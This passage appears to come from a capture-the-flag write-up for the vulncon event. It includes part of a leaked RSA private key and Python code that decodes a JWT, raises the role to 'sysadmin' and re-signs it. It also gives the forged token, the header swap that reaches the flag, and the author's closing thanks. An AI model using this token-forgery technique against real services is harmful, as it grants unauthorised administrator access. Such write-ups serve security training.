lD83HQ3bdcPAt3PfQ+SieCGYQRTuBjinbyf7yXhYLltTiHGRPmf9K/q3D/AahLf7
o5BGjIQBQKhad+69ExybWifc4P4fwEpMiSb4dcRTZE6eqZ9p1lYxRiGKEVc=
-----END RSA PRIVATE KEY-----
"""
# Load the private key
private_key = serialization.load_pem_private_key(
private_key_pem,
password=None,
)
# JWT string
jwt_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAxLCJyb2xlIjoiZGV2ZWxvcGVyIiwiaWF0IjoxNzE2MDAzMjI0fQ.MzJyfqrJkvG2TJ9BpEu37ahfKCkGI5-NRB6_ykZuWbPCORIlUicOPaDBZwtKPmwgDJbGU4l_V_TwInHkleyVYKtz-oGN0zf8dH8NyKZbibKQCKPacvzioja4cxXNIbvyF_Q3weAA2TSJuYd0hqjW4W355VMOOfDXKs9VE6Rcrd7snjI8rnwraOJjt6lvU7EBc8DJJTNZYFTvmMx8CForioRIyn1LEz5l1ob-_LixY5_prbipzQgfSRx79o2befMucjl6cJHOBQJbOeh5x4V0XLDN4yaxH-bqPe1oYO2MAwyHVqMJ5WVomIOfxfN01rG0PtvSh8CsCoP66kxYa-ga2gyzGkAVhRiizco9uBpoARnrL7q1Tuylf0-kyxquSjs2vEG0UXU5FN3s8VYUUpANmJEf26RjEylNHWLS26AiFvxYZcwd4Zw9AbmAHsHKCedCaQ6o93SDmUnBK-UwFX0ldDusgoOpWVR5hApinhiig76DemP2yC_1dwoRk6xhQa-9LnpjpuElT4ivhlh1j-Fr3Yxm4RTQUc6oMPc7o6BGa5PBGKV4vPQH8NxAQyFv85u22fOMXBE-Jhlh1h2M2NMH_u8u3f5V2wU_471oyxRB8iLFdPwB7JNREcNwjPNzGyMCE6GEg2fDtunPOw7BnJH09FEqzB6tnejwDgUa4w3zybY"
# Decode the JWT
decoded = jwt.decode(jwt_token, private_key.public_key(), algorithms=["RS256"])
print("Original decoded JWT:", decoded)
# Modify the payload
decoded['id'] = 103
decoded['role'] = 'sysadmin'
decoded['iat'] = int((datetime.utcnow() - datetime(1970, 1, 1)).total_seconds())
# Re-encode and sign the JWT with the private key
new_jwt_token = jwt.encode(decoded, private_key_pem, algorithm="RS256")
print("New JWT:", new_jwt_token)
Run the code and you will get:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAzLCJyb2xlIjoic3lzYWRtaW4iLCJpYXQiOjE3MTYxMzQ2MzN9.M9_nVRV88OUrm2Ne9sdMdueHgrjexYukZ4RRjRDDMFUIRklXLT_NXi5w2wYkLnOQVR-VQqMJ9yVKt9xFhuMsfOMjumrn0HV1CxGlqs43VJ0opht1O7ZQwYizQnbtUKV7G6e00OleV13M-GWYN-10TLXfkd-prfxTUX8v0iVCB6IJbpCN1Ops4wOM1cMHxfErxtbWgx16QkCdXOje5GgeZHrKTYr9TA_acgaK7vyFvIe4ioDMQkaCybl0EZMccLvafhHbWAReOFxchwmZj6-llt2wIzTO722518SQbyavmAgvBOYQIb8xbjsgsflaSAbAyv3yKnZJB4H4m_-EqypqvcyOfhSbPVKz5Zg-EZdnt5H_innVbE7pYCJeYq897DlfSJoiVy_lzAM3ltN9jUP0ghJs46lEKagUUDOMR8EQjV1i72FWzc_WS1T5QHi5NoCc_WLM4FkBTDFcGAyaaaVoxEZoj-7dKxGO6eMQu8bJMORgLZxjTpXpKQc-VlBgtvSqquBoWVLoQP7uNeIGI_fuq9KF1WdOLI7W7zoPbQJ_uAWYSO9iYZD7NtrHoMjuQVLtq_KRu2TGZfOLbXuZUJ6PkXddOGdrzdR3Pky7e3SkKHSg5IN4psymIssKirvxqLgWZ6LApv_gHc1_pTSKCdnOB9YfIll7hE34hvJIriry-rMNow change the Authorization header and access /uploads:
Flag: /static/1716012768999-flag.txt
FLAG: vulncon{4p1_p3nt35t1ng_15_c00l_h4ck}
I solved 10 challenges and ended up at 9th spot. Hope to finish the podium next year.
Thank you,
Special mentions to entire @vulncon team for such amazing CTF.